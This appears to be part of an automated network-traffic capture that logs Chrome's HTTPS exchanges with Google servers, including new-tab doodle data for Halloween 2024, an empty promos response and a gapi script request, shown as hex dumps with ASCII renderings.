2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 32 35 61 65 45 63 33 55 32 70 4a 51 57 52 69 4d 6a 4e 50 4d 58 5a 6d 51 32 56 55 61 44 6c 4e 65 55 52 4d 56 6b 74 7a 63 55 56 46 54 33 45 76 64 57 52 55 5a 79 39 47 52 46 52 36 56 6c 51 78 52 55 52 51 62 47 4d 76 4e 44 4e 48 62 7a 49 32 61 6c 45 7a 4d 54 6c 51 55 45 68 4a 57 54 6c 70 62 32 59 33 57 46 42 4b 56 58 4e 70 51 55 74 6c 56 33 49 79 63 32 56 6f 54 7a 52 33 5a 56 42 7a 65 46 68 57 61 30 56 7a 4f 55 56 72 63 32 39 71 52 6a 4a 35 54 55 78 6f 5a 58 41 34 4f 45 78 6c 52 56 55 77 62 47 51 7a 53 57 49 7a 5a 6c 46 43 59 31 68 59 4d 6c 4a 76 61 6c 45 34 53 31 4e 75 5a 46 68 36 53 30 46 4e 65 6b 51 31 61 6a 46 34 59 57 6c 7a 5a 47 70 34 61 33 46 68 62 54 64 4d 59 31 70 4b 56 31 45 34 54 48 4a 69 51 7a 56 35 65 56 55 33 5a 30 68 55 5a 53 74 56 52 44 67 30 Data Ascii: 25aeEc3U2pJQWRiMjNPMXZmQ2VUaDlNeURMVktzcUVFT3EvdWRUZy9GRFR6VlQxRURQbGMvNDNHbzI2alEzMTlQUEhJWTlpb2Y3WFBKVXNpQUtlV3Iyc2VoTzR3ZVBzeFhWa0VzOUVrc29qRjJ5TUxoZXA4OExlRVUwbGQzSWIzZlFCY1hYMlJvalE4S1NuZFh6S0FNekQ1ajF4YWlzZGp4a3FhbTdMY1pKV1E4THJiQzV5eVU3Z0hUZStVRDg0
2024-10-31 10:27:08 UTC	1063	IN	Data Raw: 6b 6c 35 63 79 39 53 52 44 67 30 55 58 70 52 4e 55 39 71 59 30 4a 44 5a 32 39 4c 52 46 46 33 54 6b 64 6e 4f 46 42 48 61 6d 4e 73 53 48 6c 56 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 4c 79 39 42 51 55 4a 46 53 55 46 46 51 55 46 52 51 55 31 43 53 57 64 42 51 30 56 52 52 55 52 46 55 55 67 76 65 45 46 42 59 6b 46 42 51 55 4e 42 64 30 46 45 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 52 6b 4a 6e 53 55 52 43 51 55 46 43 51 69 38 76 52 55 46 45 56 56 46 42 51 55 6c 43 51 57 64 56 51 30 46 33 59 30 52 42 5a 32 4e 42 51 55 46 42 Data Ascii: kl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYkFBQUNBd0FEQUFBQUFBQUFBQUFBQUFBRkJnSURCQUFCQi8vRUFEVVFBQUlCQWdVQ0F3Y0RBZ2NBQUFB
2024-10-31 10:27:08 UTC	90	IN	Data Raw: 35 34 0d 0a 64 7a 56 43 74 72 63 6a 68 4f 64 44 64 72 53 47 5a 49 53 7a 59 78 52 53 74 6e 52 57 31 57 63 56 52 77 63 44 5a 6f 56 7a 4e 7a 55 58 68 30 64 6d 64 6d 56 56 55 34 4d 55 73 30 56 31 70 44 63 45 38 30 4f 47 6c 51 55 54 6b 34 55 45 55 72 56 6c 55 32 4d 48 0d 0a Data Ascii: 54dzVCtrcjhOdDdrSGZISzYxRStnRW1WcVRwcDZoVzNzUXh0dmdmVVU4MUs0V1pDcE80OGlQUTk4UEUrVlU2MH
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 37 39 34 0d 0a 6b 78 52 55 73 32 62 45 63 33 59 57 74 4a 52 69 39 79 59 54 51 30 64 30 5a 36 55 6c 6b 32 62 55 31 52 54 55 46 4b 4d 46 63 32 51 6b 4a 6c 4d 7a 41 31 4d 33 68 56 4d 7a 5a 79 56 32 4a 74 4f 48 42 6a 52 47 49 33 4e 48 4e 71 57 55 78 4a 53 45 35 34 57 55 56 70 4d 32 35 5a 4d 69 39 4f 63 31 68 79 52 6a 46 42 65 56 42 6a 56 45 52 6d 59 6e 52 69 62 53 74 4c 65 45 46 61 52 58 5a 44 63 6b 35 69 64 6d 46 33 4c 30 39 4d 4e 6b 52 59 62 6a 59 77 4f 56 70 54 63 6c 56 43 56 6d 56 76 55 6b 4e 4a 65 56 64 30 5a 47 5a 51 4d 58 52 32 59 6e 52 36 5a 32 49 33 53 54 46 46 61 54 56 79 55 7a 41 72 64 6c 52 46 4f 44 52 4b 56 57 34 35 56 6e 4a 45 4b 32 5a 4d 52 57 46 70 54 44 4d 79 5a 6b 77 30 4d 6e 4a 6f 51 6b 49 77 5a 57 35 31 55 32 56 74 62 32 51 72 65 48 51 32 Data Ascii: 794kxRUs2bEc3YWtJRi9yYTQ0d0Z6Ulk2bU1RTUFKMFc2QkJlMzA1M3hVMzZyV2JtOHBjRGI3NHNqWUxJSE54WUVpM25ZMi9Oc1hyRjFBeVBjVERmYnRibStLeEFaRXZDck5idmF3L09MNkRYbjYwOVpTclVCVmVvUkNJeVd0ZGZQMXR2YnR6Z2I3STFFaTVyUzArdlRFODRKVW45VnJEK2ZMRWFpTDMyZkw0MnJoQkIwZW51U2Vtb2QreHQ2
2024-10-31 10:27:08 UTC	569	IN	Data Raw: 36 51 6a 56 56 61 57 34 34 51 33 5a 45 53 56 59 79 4f 45 6f 79 4b 32 52 31 4c 7a 64 5a 59 58 4e 31 65 55 52 4c 4e 6d 52 34 51 32 74 6a 63 6c 4e 54 52 58 4e 58 64 58 67 72 4e 54 52 49 4f 54 68 69 4e 6d 35 4c 62 55 73 35 54 54 41 34 56 32 30 31 63 32 49 33 5a 32 52 30 61 55 52 6d 4e 6a 51 79 57 6a 4a 4f 4f 47 59 76 57 6a 6f 5a 64 47 6c 74 49 47 68 6c 63 6d 49 67 59 57 78 6c 65 47 46 75 5a 47 56 79 49 48 42 79 61 57 31 31 63 30 6f 48 49 7a 6b 35 4e 47 49 7a 5a 46 4a 48 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 52 51 4d 56 52 6a 64 30 35 4c 62 33 64 30 56 46 4a 6e 4f 55 70 4a 63 33 6c 6a 65 46 5a 35 52 57 64 30 55 32 78 4b 53 58 70 46 62 58 52 54 54 58 68 4d 55 31 4d 78 55 30 74 44 61 6b 74 36 51 7a 42 30 51 6d 64 45 57 6a 4a 33 65 55 78 77 41 6e Data Ascii: 6QjVVaW44Q3ZESVYyOEoyK2R1LzdZYXN1eURLNmR4Q2tjclNTRXNXdXgrNTRIOThiNm5LbUs5TTA4V201c2I3Z2R0aURmNjQyWjJOOGYvWjoZdGltIGhlcmIgYWxleGFuZGVyIHByaW11c0oHIzk5NGIzZFJHZ3Nfc3NwPWVKemo0dFRQMVRjd05Lb3d0VFJnOUpJc3ljeFZ5RWd0U2xKSXpFbXRTTXhMU1MxU0tDakt6QzB0QmdEWjJ3eUxwAn
2024-10-31 10:27:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	142.250.185.228	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:08 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 10:27:08 UTC	1042	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 10:27:08 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 10:27:08 UTC	336	IN	Data Raw: 66 33 65 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 48 61 6c 6c 6f 77 65 65 6e 20 32 30 32 34 22 2c 22 63 74 61 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 62 41 41 41 41 44 49 43 41 4d 41 41 41 43 2b 6c 6b 51 41 41 41 41 44 41 46 42 4d 56 45 56 48 63 45 77 63 43 78 30 41 41 41 41 49 41 51 4d 67 41 68 4d 34 44 44 42 5a 41 30 4e 68 44 6c 42 72 44 31 6c 30 45 57 42 50 46 55 4a 53 41 44 73 2f 44 6a 59 78 43 43 6f 58 41 67 30 45 41 41 45 4b 41 77 4f 64 57 61 77 44 41 51 4d 46 41 41 6b 6e Data Ascii: f3e)]}'{"ddljson":{"accessibility_description":"","alt_text":"Halloween 2024","cta_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbAAAADICAMAAAC+lkQAAAADAFBMVEVHcEwcCx0AAAAIAQMgAhM4DDBZA0NhDlBrD1l0EWBPFUJSADs/DjYxCCoXAg0EAAEKAwOdWawDAQMFAAkn
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 55 6f 4e 44 30 73 4f 48 6e 4d 4e 47 6d 71 61 65 39 79 6a 66 50 6e 42 6b 66 37 4c 6d 66 2b 32 69 76 37 55 6f 50 39 61 4d 6e 38 51 41 78 55 31 46 6b 31 77 55 61 65 72 66 76 4b 76 67 2f 75 67 65 75 71 5a 63 4f 61 50 61 4f 4d 4c 45 56 55 4b 46 57 41 6b 48 58 45 36 4c 70 64 64 52 4b 56 72 55 72 64 35 58 73 4a 6b 53 36 35 58 50 61 41 32 4c 6f 49 6c 4b 6f 67 54 49 58 6f 65 4a 58 36 51 62 4e 53 64 64 72 39 65 51 35 67 53 4a 59 42 43 4e 49 4d 73 4a 6e 39 51 50 59 42 63 4f 6f 4f 62 5a 48 35 6f 52 58 2b 49 57 6e 36 75 63 33 78 34 54 6e 34 32 49 6e 4c 62 70 66 38 69 43 69 34 4e 41 52 49 73 44 7a 36 4c 62 4d 61 48 55 4d 64 55 50 5a 5a 31 56 4c 76 43 6a 72 54 2f 35 34 61 39 6f 58 41 4c 43 55 4a 50 4b 47 39 67 4e 59 62 66 6d 71 6e 5a 77 49 45 75 41 42 69 74 6a 73 70 74 Data Ascii: UoND0sOHnMNGmqae9yjfPnBkf7Lmf+2iv7UoP9aMn8QAxU1Fk1wUaerfvKvg/ugeuqZcOaPaOMLEVUKFWAkHXE6LpddRKVrUrd5XsJkS65XPaA2LoIlKogTIXoeJX6QbNSddr9eQ5gSJYBCNIMsJn9QPYBcOoObZH5oRX+IWn6uc3x4Tn42InLbpf8iCi4NARIsDz6LbMaHUMdUPZZ1VLvCjrT/54a9oXALCUJPKG9gNYbfmqnZwIEuABitjspt
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 64 42 55 69 4d 4d 63 59 2f 69 45 48 77 6b 4c 6f 43 45 41 32 79 68 4f 2b 47 42 4b 4f 4f 6b 50 53 51 59 66 69 77 75 75 51 7a 6f 61 79 36 4a 73 6a 4b 73 71 7a 6e 52 33 2f 37 54 42 4b 2b 50 37 43 76 72 71 74 4b 4e 6d 49 55 64 69 4d 59 61 77 41 47 67 69 67 2f 74 58 4b 38 71 44 49 2b 73 71 50 31 69 53 34 6f 71 71 37 37 59 6c 30 69 4c 4f 75 5a 46 4e 67 31 58 6d 2b 6e 77 75 37 31 43 43 45 52 51 51 30 67 77 44 52 50 73 4d 77 47 50 52 71 67 50 4d 77 42 68 54 75 61 68 55 77 45 69 6e 4d 43 32 56 6a 48 75 6d 6b 6c 4c 39 57 56 41 72 76 4b 35 79 32 47 45 2f 50 43 63 44 64 42 72 41 55 4a 43 64 5a 35 70 6e 56 62 55 65 75 4b 50 66 46 74 64 34 62 47 44 69 64 68 46 50 4a 43 2f 79 6a 47 76 50 74 67 58 33 32 77 78 62 79 2f 4a 51 6b 58 41 34 74 70 6d 78 39 7a 51 4e 77 44 43 35 Data Ascii: dBUiMMcY/iEHwkLoCEA2yhO+GBKOOkPSQYfiwuuQzoay6JsjKsqznR3/7TBK+P7CvrqtKNmIUdiMYawAGgig/tXK8qDI+sqP1iS4oqq77Yl0iLOuZFNg1Xm+nwu71CCERQQ0gwDRPsMwGPRqgPMwBhTuahUwEinMC2VjHumklL9WVArvK5y2GE/PCcDdBrAUJCdZ5pnVbUeuKPfFtd4bGDidhFPJC/yjGvPtgX32wxby/JQkXA4tpmx9zQNwDC5
2024-10-31 10:27:08 UTC	817	IN	Data Raw: 46 69 57 62 65 6d 32 71 71 75 36 6b 63 76 6e 73 72 6e 33 66 65 44 6c 61 77 4d 6d 69 66 55 48 76 4c 30 73 4b 46 36 58 78 56 2b 54 47 53 49 6a 31 48 7a 4b 34 70 38 50 33 6a 37 77 65 37 4b 65 52 2f 66 6c 35 51 43 78 2b 79 43 76 77 66 68 77 61 47 6f 75 54 46 51 6b 51 57 41 78 42 78 4e 50 46 31 68 70 6f 64 77 56 56 35 52 4b 64 65 6b 2f 69 57 67 30 43 62 61 45 68 52 50 43 36 37 47 78 68 41 41 47 52 47 4e 63 4f 43 61 77 2f 6a 77 77 59 4a 6f 45 4c 6e 46 49 59 62 64 4d 57 69 75 70 32 5a 6b 73 58 67 49 43 6a 79 59 76 51 4a 6b 6d 72 2b 6c 38 48 70 66 70 2f 50 4c 53 79 50 7a 53 77 75 72 53 73 73 51 6c 69 54 6d 6f 51 6b 31 38 32 4f 55 57 63 35 71 57 79 36 6d 71 70 75 71 36 43 6a 53 57 5a 71 2b 64 4b 4a 70 43 67 41 5a 65 67 4b 64 62 68 6d 55 5a 75 71 47 71 4f 56 57 72 Data Ascii: FiWbem2qqu6kcvnsrn3feDlawMmifUHvL0sKF6XxV+TGSIj1HzK4p8P3j7we7KeR/fl5QCx+yCvwfhwaGouTFQkQWAxBxNPF1hpodwVV5RKdek/iWg0CbaEhRPC67GxhAAGRGNcOCaw/jwwYJoELnFIYbdMWiup2ZksXgICjyYvQJkmr+l8Hpfp/PLSyPzSwurSssQliTmoQk182OUWc5qWy6mqpuq6CjSWZq+dKJpCgAZegKdbhmUZuqGqOVWr
2024-10-31 10:27:08 UTC	168	IN	Data Raw: 61 32 0d 0a 43 63 5a 42 4d 75 50 52 6b 63 4e 63 41 52 61 39 39 76 48 63 43 6e 44 6c 73 51 65 76 71 63 6d 6d 78 35 77 64 63 54 6e 32 6b 72 43 41 69 38 70 72 63 78 2b 75 72 36 2b 76 72 6e 2b 69 68 68 77 38 67 70 49 30 47 43 52 78 35 54 4f 77 47 4a 4b 58 70 74 71 4d 65 31 61 68 44 6d 41 62 64 62 4e 4f 46 65 6f 6d 6e 47 61 44 6c 38 30 4c 66 61 62 47 79 51 76 79 48 51 35 4d 49 76 50 32 73 66 59 41 73 6e 65 50 48 48 6e 39 59 46 33 42 6d 51 62 4e 35 31 59 6b 36 4e 68 51 70 61 41 35 41 79 32 4d 4e 74 0d 0a Data Ascii: a2CcZBMuPRkcNcARa99vHcCnDlsQevqcmmx5wdcTn2krCAi8prcx+ur6+vrn+ihhw8gpI0GCRx5TOwGJKXptqMe1ahDmAbdbNOFeomnGaDl80LfabGyQvyHQ5MIvP2sfYAsnePHHn9YF3BmQbN51Yk6NhQpaA5Ay2MNt
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 35 34 39 38 0d 0a 37 79 56 69 72 64 33 63 69 48 37 66 45 51 67 73 47 57 59 68 4b 51 51 4c 57 50 46 32 31 32 73 52 77 51 75 4f 4b 56 75 46 49 75 6a 31 34 36 4d 30 5a 67 79 47 73 6b 78 5a 57 4d 67 68 32 50 73 52 61 4e 54 48 54 75 4d 4e 4b 53 78 4e 49 72 79 46 34 71 74 75 52 31 45 68 34 66 32 68 63 4e 63 65 5a 49 7a 4f 55 6c 69 57 6d 61 6d 76 39 34 41 63 41 41 37 58 49 75 52 45 59 4e 56 6d 37 2b 6f 74 54 4d 6f 70 70 48 4c 45 53 73 73 79 32 34 79 4c 62 4d 54 62 4f 2b 59 64 61 4c 55 4c 31 59 72 79 4d 32 46 76 44 55 77 73 2b 78 56 47 30 4c 76 45 42 4d 65 6d 7a 77 6f 4c 6f 6c 73 6f 44 48 43 32 4c 4e 72 30 4a 68 6f 64 46 79 4d 70 6b 63 4e 42 4b 68 6f 43 58 62 4e 41 52 44 6a 67 32 39 50 58 34 76 6b 6d 52 58 56 37 76 42 67 74 53 56 62 43 67 58 43 54 74 6b 52 41 54 Data Ascii: 54987yVird3ciH7fEQgsGWYhKQQLWPF212sRwQuOKVuFIuj146M0ZgyGskxZWMgh2PsRaNTHTuMNKSxNIryF4qtuR1Eh4f2hcNceZIzOUliWmamv94AcAA7XIuREYNVm7+otTMoppHLESssy24yLbMTbO+YdaLUL1YryM2FvDUws+xVG0LvEBMemzwoLolsoDHC2LNr0JhodFyMpkcNBKhoCXbNARDjg29PX4vkmRXV7vBgtSVbCgXCTtkRAT
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 77 70 44 4f 4d 78 67 65 72 72 6f 62 74 41 79 7a 4d 6f 51 66 46 36 4f 4c 42 4a 6a 48 6d 57 77 6c 76 6c 69 68 49 6f 6e 77 47 61 33 64 30 37 64 32 4f 6c 50 63 46 72 6f 52 72 6f 76 77 5a 67 4f 41 55 77 71 6a 7a 36 65 43 6b 47 57 68 48 69 45 6d 47 51 4a 73 4f 64 73 54 46 4a 59 47 4d 4e 63 64 43 78 50 54 54 5a 61 52 38 32 70 61 5a 6d 56 38 68 4c 30 4a 49 47 49 7a 41 71 4d 4c 58 49 42 42 61 61 62 70 53 48 44 58 63 35 76 46 78 37 53 63 33 63 32 64 6c 5a 2f 2b 79 68 74 74 68 47 44 44 57 69 6a 6b 35 4d 31 51 31 56 73 79 31 6b 72 78 4f 31 49 75 75 4e 68 35 75 66 66 2f 48 6c 46 35 38 39 72 43 47 52 34 59 46 68 6e 6b 44 5a 59 57 75 32 58 2b 4b 53 70 30 39 55 69 72 38 6c 76 4d 66 4d 5a 52 35 38 38 5a 37 48 4b 37 33 77 55 79 2f 79 46 53 38 73 4d 42 67 4a 2f 58 36 2f 31 Data Ascii: wpDOMxgerrobtAyzMoQfF6OLBJjHmWwlvlihIonwGa3d07d2OlPcFroRrovwZgOAUwqjz6eCkGWhHiEmGQJsOdsTFJYGMNcdCxPTTZaR82paZmV8hL0JIGIzAqMLXIBBaabpSHDXc5vFx7Sc3c2dlZ/+yhtthGDDWijk5M1Q1Vsy1krxO1IuuNh5uff/HlF589rCGR4YFhnkDZYWu2X+KSp09Uir8lvMfMZR588Z7HK73wUy/yFS8sMBgJ/X6/1
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 76 51 74 50 79 2f 30 44 67 63 44 41 41 4f 72 44 65 33 66 33 69 43 76 53 63 46 64 45 4a 44 4f 63 6f 4f 56 45 78 59 51 73 4f 30 54 6c 38 58 79 6f 6b 35 44 49 69 44 69 70 70 5a 76 2b 6b 6d 6e 73 79 67 46 67 69 75 4a 37 44 6c 61 35 39 6e 69 34 76 43 31 67 66 64 54 41 78 63 50 52 32 52 30 51 73 78 59 50 53 4d 76 6f 65 62 30 41 59 4a 6f 46 5a 6f 55 43 52 31 4d 2f 2f 66 7a 54 54 39 38 7a 48 6d 4c 2b 79 35 6c 39 77 62 51 4e 55 36 75 4b 59 74 36 68 4a 59 45 46 66 5a 30 44 67 79 51 77 4e 78 72 2b 4e 6a 44 66 4d 49 47 46 5a 76 59 69 74 37 64 47 59 53 4c 4d 34 6d 45 6e 4a 61 42 63 59 41 71 6a 69 43 79 79 59 47 39 42 52 35 2f 65 46 55 31 31 34 2f 4e 4d 63 57 74 30 59 38 78 69 30 57 5a 6c 6e 77 43 75 6c 55 52 6e 77 43 62 5a 67 4b 58 53 4b 7a 4f 43 56 30 68 36 4c 44 75 Data Ascii: vQtPy/0DgcDAAOrDe3f3iCvScFdEJDOcoOVExYQsO0Tl8Xyok5DIiDippZv+kmnsygFgiuJ7Dla59ni4vC1gfdTAxcPR2R0QsxYPSMvoeb0AYJoFZoUCR1M//fzTT98zHmL+y5l9wbQNU6uKYt6hJYEFfZ0DgyQwNxr+NjDfMIGFZvYit7dGYSLM4mEnJaBcYAqjiCyyYG9BR5/eFU114/NMcWt0Y8xi0WZlnwCulURnwCbZgKXSKzOCV0h6LDu
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 70 63 52 69 52 33 65 51 2b 6b 39 6e 4f 35 33 44 36 6b 6b 42 45 61 71 42 33 4e 75 36 32 64 31 63 54 36 54 31 64 47 62 2f 61 45 72 49 53 49 54 49 2b 43 57 41 6d 73 73 5a 45 57 4b 7a 50 59 33 62 69 78 46 33 6c 42 6b 2f 42 4d 2f 73 32 2f 55 51 78 68 4e 6e 59 38 70 6c 30 46 53 33 4e 7a 51 78 4d 50 48 6b 35 50 65 48 47 6d 78 4d 4d 38 67 43 46 6f 77 46 6f 4a 64 44 6a 36 47 45 53 53 65 42 46 6d 62 6e 34 78 63 36 69 55 53 4b 6b 4c 73 6c 4b 67 56 50 69 48 7a 41 63 4c 39 31 35 73 64 69 6f 77 69 4d 61 55 58 2b 63 33 79 51 5a 74 30 56 39 51 35 4e 49 74 65 47 72 51 78 41 74 30 4f 4e 43 55 5a 39 57 42 6d 74 70 2f 66 50 66 75 33 64 38 7a 42 68 69 73 4a 62 69 75 33 51 47 69 6e 47 6a 2f 6d 53 45 47 58 67 64 48 51 48 5a 30 63 4c 7a 53 56 63 55 63 31 6f 71 45 75 47 6b 62 72 Data Ascii: pcRiR3eQ+k9nO53D6kkBEaqB3Nu62d1cT6T1dGb/aErISITI+CWAmssZEWKzPY3bixF3lBk/BM/s2/UQxhNnY8pl0FS3NzQxMPHk5PeHGmxMM8gCFowFoJdDj6GESSeBFmbn4xc6iUSKkLslKgVPiHzAcL915sdiowiMaUX+c3yQZt0V9Q5NIteGrQxAt0ONCUZ9WBmtp/fPfu3d8zBhisJbiu3QGinGj/mSEGXgdHQHZ0cLzSVcUc1oqEuGkbr
2024-10-31 10:27:08 UTC	1378	IN	Data Raw: 4b 42 4d 31 30 71 55 66 38 74 50 6e 74 77 6d 73 33 52 67 73 6a 4a 64 34 4b 38 49 45 55 75 44 65 44 75 50 31 78 64 56 68 73 64 63 61 36 36 56 73 31 4f 42 6c 32 45 73 4a 74 45 5a 51 46 51 30 77 59 37 41 43 72 2b 4e 71 67 4e 33 76 62 43 30 44 5a 72 6f 63 64 6b 7a 55 76 47 71 34 61 4b 4a 2b 2b 63 58 54 78 30 49 4d 7a 31 39 50 64 67 73 53 57 46 72 35 50 67 58 73 4e 67 4c 6a 67 4e 6a 4c 79 49 32 41 6c 72 76 35 41 73 44 6d 76 42 68 67 39 58 74 41 68 74 59 48 46 38 46 35 73 62 6e 4b 65 63 6c 50 69 38 45 55 4c 72 41 52 51 4c 6a 62 67 5a 5a 61 58 46 41 79 5a 6d 74 68 45 70 34 68 69 34 64 76 69 4a 6c 71 61 41 4f 6a 74 6e 39 31 38 48 45 61 54 46 64 45 45 41 74 64 74 69 79 57 79 62 51 74 62 67 77 42 32 41 2b 39 73 34 50 4d 2f 4a 51 67 79 39 7a 5a 57 78 70 5a 4d 73 41 Data Ascii: KBM10qUf8tPntwms3RgsjJd4K8IEUuDeDuP1xdVhsdca66Vs1OBl2EsJtEZQFQ0wY7ACr+NqgN3vbC0DZrocdkzUvGq4aKJ++cXTx0IMz19PdgsSWFr5PgXsNgLjgNjLyI2Alrv5AsDmvBhg9XtAhtYHF8F5sbnKeclPi8EULrARQLjbgZZaXFAyZmthEp4hi4dviJlqaAOjtn918HEaTFdEEAtdtiyWybQtbgwB2A+9s4PM/JQgy9zZWxpZMsA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	142.250.185.228	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:08 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 10:27:08 UTC	957	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 10:27:08 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 10:27:08 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-31 10:27:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	142.250.185.78	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:11 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 10:27:11 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:39:31 GMT Expires: Thu, 30 Oct 2025 15:39:31 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 